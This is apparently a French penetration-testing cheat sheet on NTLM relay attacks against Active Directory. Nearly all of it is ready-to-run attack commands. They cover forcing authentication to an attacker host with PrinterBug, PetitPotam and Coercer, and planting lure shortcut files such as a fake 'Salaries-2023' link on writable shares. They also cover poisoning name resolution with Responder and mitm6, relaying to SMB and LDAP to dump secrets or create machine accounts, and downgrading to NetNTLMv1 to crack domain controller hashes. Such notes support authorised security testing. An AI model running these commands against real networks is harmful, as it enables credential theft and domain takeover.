Relais NTLM 🚧

Cette section se voudra volontairement large et couvrira les aspects d’empoisonnement DNS, de coercion d’authentifications et des différentes manières de relayer ces dernières.

Techniques de coercion#

La coercion a l’avantage de ne pas nécessiter d’empoisonnement DNS (ce qui n’est pas franchement discret). Plusieurs vulnérabilités et techniques vont permettre de réaliser cette action.

PrinterBug (MS-RPRN)#

Le protocole MS-RPRN (Microsoft Remote Procedure Call Print System Asynchronous Remote Protocol) est un protocole RPC utilisé par Windows pour gérer à distance les files d’attente et les travaux d’impression sur un serveur d’impression. Il permet à un client d’interagir avec le spooler d’impression.

Tout d’abord, vérifier si des cibles sont vulnérables :

nxc smb $RANGE -u $USER -p $PASSWORD -M coerce_plus
rpcclient -U "" -N $IP -c "enumprinters"

Puis forcer les authentifications avec printerbug.py :

# Coercion basique avec SMB
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_IP

# IDEM mais en Pass-the-Hash
python3 printerbug.py $DOMAIN/$USER@$TARGET_IP $ATTACKER_IP -hashes :$NTHASH

# Coercion HTTP (requiert WebDAV)
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_NAME@80/print

PetitPotam (MS-EFSR)#

Le protocole MS-EFSR (Encrypting File System Remote Protocol) est un protocole RPC utilisé par Windows pour gérer à distance le chiffrement de fichiers EFS. Il permet à un client d’effectuer des opérations comme chiffrer, déchiffrer ou récupérer des fichiers protégés.

# Coercion basique authentifiée
python3 PetitPotam.py -u $USER -p '$PASSWORD' -d $DOMAIN $ATTACKER_IP $TARGET_IP

# Coercion basique non-authentifiée (si vulnerable)
python3 PetitPotam.py $ATTACKER_IP $TARGET_IP

# Coercion authentifiée avec WebDAV
python3 PetitPotam.py -u $USER -p '$PASSWORD' -d $DOMAIN $ATTACKER_NAME@80/files $TARGET_IP

ShadowCoerce (MS-FSRVP)#

Le protocole MS-FSRVP (File Server Remote VSS Protocol) est un protocole RPC Microsoft utilisé pour créer et gérer des snapshots (shadow copies) de partages SMB à distance, afin de permettre à des outils de sauvegarde d’effectuer des sauvegardes et des restaurations.

L’interface serveur est exposée via le canal RPC \pipe\FssagentRpc et permet de demander la création, l’exposition ou la suppression de copies d’un partage.

Coercer#

Coercer est un outil qui va prendre en charge 17 méthodes de coercion.

# Scan des méthodes vulnérables
python3 Coercer.py scan -t $TARGET_IP -u $USER -p '$PASSWORD' -d $DOMAIN -v

# Execution de toutes les méthodes de coercion
python3 Coercer.py coerce -t $TARGET_IP -l $ATTACKER_IP -u $USER -p '$PASSWORD' -d $DOMAIN --always-continue

# Coercion HTTP
python3 Coercer.py -t $TARGET_IP -u $USER -p '$PASSWORD' -wh $ATTACKER_NAME -wp 80 -v

Fichiers lnk, url…#

Plusieurs extensions de fichiers vont automatiquement réaliser une authentification SMB vers notre machine attaquante.

Il s’agit alors d’identifier des partages réseaux dans lesquels nous avons une permission d’écriture (WRITE) et en déposer dans des répertoires communéments parcourus :

nxc smb $RANGE -u $USERNAME -p $PASSWORD --share | grep WRITE

Voici comment créer les fichiers permettant de forcer l’authentification SMB

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\$ATTACKER_IP\%USERNAME%.icon
IconIndex=1

LNKUp.py --host $ATTACKER_IP --type ntlm --output 'file.lnk'

# Simple SMB trap with remote icon file (Powershell)
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Windows\temp\@Salaries-2023.lnk")
$lnk.TargetPath = "\\\@icon.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Salaries-2023."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()

Empoisonnement DNS#

Avec les protocoles multidiffusion#

# Mode audit : écoute simplement et ne répond pas aux protocoles multidiffusion
sudo responder -I $IFACE -A

# Mode empoisonnement
sudo responder -I $IFACE

# Configurations de Responder pour réaliser du relais
sed -i 's/SMB = On/SMB = Off/g' /path/to/Responder.conf
sed -i 's/HTTP = On/HTTP = Off/g' /path/to/Responder.conf

Avec DHCPv6#

Dans un environnement Active Directory, IPv6 est prioritaire sur IPv4 par défaut. Ainsi, il est possible de créer un serveur DHCPv6 malveillant et de répondre aux demandes d’adresses IPv6 en incluant notre serveur attaquant dans la configuration DNS qui sera envoyée aux victimes.

Le double avantage avec DHCPv6 est qu’il sera possible de renseigner notre serveur attaquant également dans la configuration WPAD et ainsi pouvoir relayer du HTTP vers du LDAP :

mitm6 -d $DOMAIN

Attaques possibles#

Relais par Proxy SOCKS#

Cette méthode permet de conserver des sessions authentifiées pour les réutiliser ultérieurement dans le cadre de requêtes SMB.

# Capturer la liste des serveurs dont la signature SMB n'est pas activée
nxc smb $RANGE --gen-relay-list $OUTPUT

# Configurer proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf

# Débuter le relais avec SOCKS
sudo ntlmrelayx.py -tf $TARGETS -smb2support -socks

# Vérifier les sessions actives ayant été capturées
ntlmrelayx> socks

Une fois que des sessions authentifiées sont capturées, il est possible de s’en servir avec proxychains :

proxychains4 -q smbexec.py $DOMAIN/$USER@$TARGET -no-pass
proxychains4 -q mssqlclient.py $DOMAIN/$USER@$SQL_SERVER -windows-auth -no-pass
proxychains4 -q secretsdump.py $DOMAIN/$USER@$TARGET -no-pass
proxychains4 -q nxc smb $TARGET -d $DOMAIN -u $USER -p "nonexistantpassword"

Le script impacket lookupsid.py permet de bruteforcer les SID afin d’identifier les utilisateurs et groupes du domaine :

proxychains4 -q lookupsid.py $DOMAIN/$USER@$TARGET -no-pass --domain-sids

Dump des informations du domaine#

Pour cela, on va devoir relayer vers du LDAP, donc à partir d’une authentification HTTP.

# Lancer MITM6 pour distribuer des configurations WPAD
mitm6 -d $DOMAIN

# Lancer ensuite ntlmrelayx avec les bonnes options
ntlmrelayx.py -6 -t ldap://$DC_IP --no-smb-server -wh attacker-wpad

Création d’un compte machine#

Pour cela, on va également devoir relayer vers du LDAP à partir d’une authentification HTTP.

# Lancer Responder avec les options suivantes :
# -d pour répondre aux requêtes DHCP et injecter un serveur WPAD dans la réponse
# -P pour forcer l'authentification NTLM via le proxy HTTP
Responder.py -I $IFACE -Pdv

# Lancer ensuite ntlmrelayx avec l'option --add-computer
ntlmrelayx.py -t ldaps://$DC_HOST --add-computer --no-smb-server -wh attacker-wpad

Si le relais est réussi, un compte sera créé et l’identifiant/mot de passe sera retourné dans l’output de ntlmrelayx.

Downgrade NetNTLMv1#

Dans l’idée, on souhaite coercer une authentification du contrôleur de domaine avec PetitPotam ou PrinterBug et downgrade le hash NetNTLMv1 en un hash NT réutilisable.

Dans un premier temps, modifier la configuration de /usr/share/responder/Responder.conf pour ajouter un challenge simple et facilement cassable :

; Custom challenge.
Challenge = 123456

Lancer ensuite Responder :

sudo responder -I $IFACE

Puis exploiter PetitPotam pour obtenir le coerce d’une authentification du contrôleur de domaine vers notre machine attaquante :

python3 PetitPotam.py $ATTACKER_IP $DC_IP

# Si ça ne fonctionne pas, alors il faudra utiliser des creds d'un utilisateur non privilégié pour le coerce
python3 PetitPotam.py $ATTACKER_IP $DC_IP -u $USERNAME -p $PASSWORD -d legacy

On peut à ce moment vérifier si le hash reçu correspond à un NetNTLMv1, si c’est le cas on peut continuer l’exploitation et lancer un nouveau Responder avec les bonnes options :

sudo responder -I $IFACE --lm

# Sinon essayer avec --disable-ess
sudo responder -I $IFACE --disable-ess

On capture ainsi un hash NTLMv1-SSP. Prendre les premiers 32 bits du hash et l’envoyer à crack.sh pour qu’il retrouve le hash NT permettant ensuite de réaliser du pass-the-hash.